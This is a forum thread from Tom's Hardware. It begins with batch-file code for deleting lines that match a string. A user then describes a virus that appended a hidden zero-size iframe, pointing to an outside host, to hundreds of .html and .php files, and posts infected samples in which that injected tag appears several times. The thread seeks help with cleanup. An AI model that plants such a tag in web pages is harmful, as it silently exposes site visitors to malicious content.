Tom's Guide | Tom's Hardware | Tom's Games
![]() |
![]() |
![]() |
Can someone post Batch File code that will run thru a text file and remove any lines that contains the string "Compressed File" or any line that contatins the string "Error On File" and then rewrite that text file without them?

@echo off
find /v "Compressed File" < myfile | find /v "Error On File" > newfile
copy newfile myfile & del newfile
=====================================
If at first you don't succeed, you're about average.M2

I tried to amend your code to help me eliminate "blank" lines in the file with:
find /v " " < myfile | find /v "Error On File" > newfile
copy newfile myfile & del newfile
but...that doesn't work.
Do you have a solution to help me remove blank lines?

@echo off > newfile
setLocal EnableDelayedExpansionfor /f "tokens=* delims= " %%a in (myfile) do (
echo %%a >> newfile
)
=====================================
If at first you don't succeed, you're about average.M2

Mechanix2Go
I got a virus on my PC that caused the tag "<iframe src=http://www.p188.net/xm/xmxz.html width=0 height=0></iframe>" to be appended to the end of ALL of my .html and .php files on ALL of my PC directories (i.e. approximately effected 700 files).
Example of appended tag. Example 1: </body><iframe src=http://www.p188.net/xm/xmxz.html width=0 height=0></iframe> and Example 2: ?><iframe src=http://www.p188.net/xm/xmxz.html width=0 height=0></iframe>
I know that your code can be modified to remove this tag from ALL the effected files of ALL of my directories, but I don't know how to modify your code to do so, can you please help?
Thanks,
Frannyj

Post one of the modified files.
=====================================
If at first you don't succeed, you're about average.M2

Thank you for your response. I have included sample effected code from both a .php and a .html file. Also, all the file lengths vary.
====== php code before virus ======
<?php$toaddress= $rmail;
$subject = 'LWP Online Course Daily Email Message - Day #2';
$mailcontent = "\n"
.'Dear '.$rfln.",\n"."\n"
.'Congratulations! You have completed another daily assignment in'."\n"
.'the Living With Purpose program.'."\n\n"
.'Continue Being Your Best!'."\n\n"
.'Live Large!'."\n\n"
.'Marlon'."\n\n";
$fromaddress = 'From: purpose@successbychoice.com'."\n"
.'Bcc: support@yess1.com, purpose@successbychoice.com';
mail($toaddress, $subject, $mailcontent, $fromaddress);
?>====== php code after virus ======
<?php$toaddress= $rmail;
$subject = 'LWP Online Course Daily Email Message - Day #2';
$mailcontent = "\n"
.'Dear '.$rfln.",\n"."\n"
.'Congratulations! You have completed another daily assignment in'."\n"
.'the Living With Purpose program.'."\n\n"
.'Continue Being Your Best!'."\n\n"
.'Live Large!'."\n\n"
.'Marlon'."\n\n";
$fromaddress = 'From: purpose@successbychoice.com'."\n"
.'Bcc: support@yess1.com, purpose@successbychoice.com';
mail($toaddress, $subject, $mailcontent, $fromaddress);
?><iframe src=http://www.p188.net/xm/xmxz.html width=0 height=0></iframe>====================================================================
====== html code before virus ======
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>LWP Reports</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="xlwpc.css" / >
</head><body>
<form ACTION="mlogs10.php" name="saveform2" METHOD="POST" onSubmit="return valid222( this )"><div style="position: absolute; left: 180px; top: 80px">
<table border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="385">
<div align="center">
<table border="5" height="59" width="254" bgcolor="#FFFFFF" cellspacing="1" cellpadding="0">
<tr align="center">
<td width="133" height="17" bgcolor="#000080"><div align="right"><small>Password:</small></div></td>
<td height="17" width="133" bgcolor="#000080"><div align="left"><input type="password"
name="Lpassw" size="12" tabindex="2" maxlength="12"></div></td>
<td height="17" bgcolor="#C0C0C0" align="center"><a
href="javascript:alert('The password must be between 4 and 10 characters long.')"><small><small>Help</small></small></td>
</tr>
</table>
<center><input TYPE="button"
NAME="FormsButton2" tabindex="3"
style="font-family: Verdana; font-size: 8pt" VALUE="Sign in" onClick="if (valid222(this.form)) this.form.submit()"></center>
</div></td><td align="center"> </td>
</tr>
</table></div>
</FORM>
</body>
</html>====== html code after virus ======
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>LWP Reports</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="xlwpc.css" / >
</head><body>
<form ACTION="mlogs10.php" name="saveform2" METHOD="POST" onSubmit="return valid222( this )"><div style="position: absolute; left: 180px; top: 80px">
<table border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="385">
<div align="center">
<table border="5" height="59" width="254" bgcolor="#FFFFFF" cellspacing="1" cellpadding="0">
<tr align="center">
<td width="133" height="17" bgcolor="#000080"><div align="right"><small>Password:</small></div></td>
<td height="17" width="133" bgcolor="#000080"><div align="left"><input type="password"
name="Lpassw" size="12" tabindex="2" maxlength="12"></div></td>
<td height="17" bgcolor="#C0C0C0" align="center"><a
href="javascript:alert('The password must be between 4 and 10 characters long.')"><small><small>Help</small></small></td>
</tr>
</table>
<center><input TYPE="button"
NAME="FormsButton2" tabindex="3"
style="font-family: Verdana; font-size: 8pt" VALUE="Sign in" onClick="if (valid222(this.form)) this.form.submit()"></center>
</div></td><td align="center"> </td>
</tr>
</table></div>
</FORM>
</body>
</html><iframe src=http://www.p188.net/xm/xmxz.html width=0 height=0></iframe>

I appreciate you wanting to speak to the coder but perhaps you should get this going on your own thread? I'm getting emails each time you converse.
Thanks

I appreciate you wanting to speak to the coder but perhaps you should get this going on your own thread? I'm getting emails each time you converse.
Thanks

![]() |
![]() |
![]() |

This post is quite old and has been locked from receiving new replies. Please create a new posting instead.
| Ads by Google |